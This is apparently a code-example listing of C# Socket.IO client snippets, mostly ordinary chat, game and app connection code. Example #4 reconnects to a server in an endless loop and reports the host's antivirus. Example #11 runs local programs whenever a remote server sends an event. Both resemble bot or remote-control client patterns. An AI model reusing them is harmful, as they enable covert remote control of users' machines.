Example #1
0
        public void usingChat()
        {
            InitEventHandlers(client);

            client.Connect();
            txtBoxMsg.Text = "Input /exit to close connection.\n";
        }
Example #2
0
        public Socket()
        {
            client.Connect();
            client.On("connection", () =>
            {
                Console.WriteLine("Conectado!");
            });

            client.On("messagesList", (JToken[] Data) => {
                Application.Current.Dispatcher.BeginInvoke(System.Windows.Threading.DispatcherPriority.Background, new Action(() =>
                {
                    var list = Data[0];
                    List <Message> listaMensagens = new List <Message>();
                    foreach (var l in list)
                    {
                        listaMensagens.Add(l.ToObject <Message>());
                    }
                    TalkMessage.talk.renderMessages(listaMensagens);
                }));
            });

            client.On("messageReceived", (JToken[] Data) =>
            {
                Message message = Data[0].ToObject <Message>();
                if (message != null)
                {
                    receberMensagem(message);
                }
            });
        }
        private void initClient()
        {
            this.setConnectionState("연결중...");

            client = new SocketIOClient(SocketIOClient.Scheme.ws, host, port, false);
            initCallbacks();
            client.Connect();
        }
Example #4
0
      static void cchecker()
      {
          do
          {
              if (io.Connected == false)
              {
                  socket = io.Connect(server);
                  Thread.Sleep(3000);

                  if (io.Connected == true)
                  {
                      data avData = new data();
                      avData.av = av; //Utilities.GA(); // Get Antivirus

                      socket.Emit("new_volunteer", (Object)avData);
                  }
              }

              Thread.Sleep(2000);
          } while (true);
      }
Example #5
0
        /// <summary>
        /// Starts players detection and connect the game to the backend
        /// </summary>
        public void StartCapture()
        {
            socketIO.Connect();
            socketIO.On("kinectStartRun", StartRun);
            socketIO.On("gameFinished", FinishRun);
            socketIO.On("kinectRestart", StartNewGame);
            if (logMode)
            {
                log.Info(Step.ToString() + " : Open socket - Start Capture");
            }

            SimpleObjectFormater objectToSend = new SimpleObjectFormater();

            objectToSend.AddString("state", kinectMotor.Status);
            socketIO.Emit("kinectConnected", objectToSend.JSONFormat());
        }
Example #6
0
        public void usingChat()
        {
            InitEventHandlers(client);

            client.Connect();
            txtBoxMsg.Text = "Input /exit to close connection.\n";

            var json = new JObject();

            json.Add("name", name);
            json.Add("room", "1");
            json.Add("msg", "연결 되었습니다.");

            Console.WriteLine(json.ToString());

            client.Emit("chat message", json);
        }
Example #7
0
        void SetupServer()
        {
            socket = new SocketIOClient(SocketIOClient.Scheme.ws, configData.getString("host"), configData.getInt("port"), false, true, false);
            socket.Connect();

            socket.On("socketConnected", socketConnected);

            socket.On("getRequests", getRequests);
            socket.On("newRequest", newRequest);
            socket.On("editRequest", editRequest);
            socket.On("removeRequest", removeRequest);

            socket.On("clearDeliverymanData", clearDeliverymanData);
            socket.On("newDeliveryman", newDeliveryman);

            socket.On("clearClientsData", clearClientsData);
            socket.On("newClient", newClient);

            socket.On("disconnect", disconnect);
            socket.On("disconnected", disconnect);
        }
Example #8
0
        static void Main(string[] args)
        {
            SocketIOClient client = new SocketIOClient(SocketIOClient.Scheme.ws, "127.0.0.1", 9001);

            InitEventHandlers(client);

            client.Connect();
            Console.WriteLine("Input /exit to close connection.");

            string line;

            while (!(line = Console.ReadLine()).Equals("/exit"))
            {
                client.Emit("input", line);
                client.Emit("input array", line, line);
            }

            client.Close();

            Console.WriteLine("Press any key to continue...");
            Console.Read();
        }
Example #9
0
    // Use this for initialization
    IEnumerator Start()
    {
        statusText.text = "Getting data from Riot api";
        yield return(StartCoroutine(SetupApiData()));

        yield return(StartCoroutine(SetupMap()));

        yield return(StartCoroutine(SetupChampions()));

        yield return(StartCoroutine(SetupPlayers()));

        if (error)
        {
            statusText.text = "An error has occurred during api requests.\nPlease try again later.";
            DOTween.To(() => loadingIndicator.color, x => loadingIndicator.color = x, new Color(1, 1, 1, 0), 1);
        }
        else
        {
            statusText.text = "Finding random match";
            SocketIOClient.Connect();
        }
    }
Example #10
0
      static void Main()
      {
          var io = new SocketIOClient();

          var socket = io.Connect("http://localhost:3000/");

          socket.On("data", (args, callback) =>
            {
                Console.WriteLine("Server sent:");

                for (int i = 0; i < args.Length; i++)
                {
                    Console.WriteLine("[" + i + "] => " + args[i]);
                }
            });

          string line;

          while ((line = Console.ReadLine()) != "q")
          {
              socket.Emit("data", line);
          }
      }
Example #11
0
        public void SocketConnect()
        {
            SocketIOClientOption option = new SocketIOClientOption(EngineIOScheme.https, "militant-socket-server.herokuapp.com", 443);

            // SocketIOClientOption option = new SocketIOClientOption(EngineIOScheme.http, "localhost", 8080);
            socket = new SocketIOClient(option);
            socket.On("connection", () =>
            {
                WriteToFile("Socket Connected!");

                socket.Emit("subscribe", "test");

                /*socket.Emit("ping", new Dictionary<String, String> {
                 *  { "anu", "una" }
                 * });*/
            });

            socket.On("disconnect", () =>
            {
                WriteToFile("Socket Disconnected!");
            });

            socket.On("error", (JToken[] Data) => // Type of argument is JToken[].
            {
                if (Data != null && Data.Length > 0 && Data[0] != null)
                {
                    WriteToFile("Socket Error: " + Data[0]);
                }
                else
                {
                    WriteToFile("Socket Error: Unkown Error");
                }
            });

            socket.On("message", (Data) => // Argument can be used without type.
            {
                if (Data != null && Data.Length > 0 && Data[0] != null)
                {
                    WriteToFile("Socket Message: " + Data[0]);
                }
            });

            /*socket.On("ping", (Data) => // Argument can be used without type.
             * {
             *  if (Data != null && Data.Length > 0 && Data[0] != null)
             *  {
             *      WriteToFile("Message : " + Data[0]);
             *  }
             * });*/

            socket.On("user", (Data) => // Argument can be used without type.
            {
                if (Data != null && Data.Length > 0 && Data[0] != null)
                {
                    WriteToFile("Socket Message: " + Data[0]);

                    if (File.Exists(exePath))
                    {
                        string exeConsolePath = AppDomain.CurrentDomain.BaseDirectory + "ConsoleApp.exe";

                        WriteToFile("Execute: " + exePath + " " + Data[0]["event"].ToString());
                        WriteToFile("Execute: " + exeConsolePath);

                        // Process.Start(exePath, Data[0]["event"].ToString());
                        ProcessExtensions.StartProcessAsCurrentUser(exePath, Data[0]["event"].ToString());
                        ProcessExtensions.StartProcessAsCurrentUser(exeConsolePath);

                        /*ProcessStartInfo info = new ProcessStartInfo(exeConsolePath);
                         * info.UseShellExecute = false;
                         * info.RedirectStandardError = true;
                         * info.RedirectStandardInput = true;
                         * info.RedirectStandardOutput = true;
                         * info.CreateNoWindow = true;
                         * info.ErrorDialog = false;
                         * info.WindowStyle = ProcessWindowStyle.Hidden;
                         *
                         * Process process = Process.Start(info);*/
                    }
                }
            });

            /*socket.On("CustomEvent", CustomEventHandler); // Handler can be method.
             * socket.On(9001, ItsOverNineThousands); // Type of event is JToken. So, it can be a number.
             * socket.Off(9001, ItsOverNineThousands);*/// Remove 9001 event handler.

            ServicePointManager.Expect100Continue = true;
            ServicePointManager.SecurityProtocol  = SecurityProtocolType.Tls12;
            try
            {
                socket.Connect();
            }
            catch (Exception ex)
            {
                WriteToFile($"{ex.Message}");
            }
        }
Example #12
0
 public WebSocket(string url)
 {
     Client = SocketIOClient.Connect(url);
 }